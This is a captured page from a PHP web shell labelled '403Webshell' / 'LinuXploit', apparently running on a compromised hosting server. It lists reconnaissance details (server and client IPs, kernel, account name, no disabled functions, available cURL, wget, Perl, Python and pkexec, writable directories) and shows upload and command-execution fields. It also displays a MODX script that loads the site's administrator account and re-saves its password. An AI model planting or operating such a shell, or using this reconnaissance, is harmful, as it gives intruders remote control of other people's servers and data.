403Webshell
Server IP : 172.67.220.81  /  Your IP : 216.73.216.41
Web Server : Apache
System : Linux semi1.us.cloudlogin.co 5.10.244-xeon-hst #1 SMP Sun Sep 14 17:09:20 UTC 2025 x86_64
User : xessglobal ( 271017)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : ON
Directory :  /proc/self/root/usr/local/ei2/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/local/ei2/modx.php
#!/usr/local/php7.3/bin/php
<?php
define('MODX_API_MODE', true); // Gotta set this one constant.

require_once('index.php');

$modx= new modX();
$modx->initialize('mgr');

$query = $modx->newQuery('modUser');
$query->where(array('id'=> 1));
$user = $modx->getObjectGraph('modUser', '{ "Profile":{}, "UserGroupMembers":{} }', $query);

if (!$user)
        die("ERROR: No user with username $username");

$user->set('password', $user->_fields['password']);

if (!$user->save())
        die('ERROR: Could not save user.');


Youez - 2016 - github.com/yon3zu
LinuXploit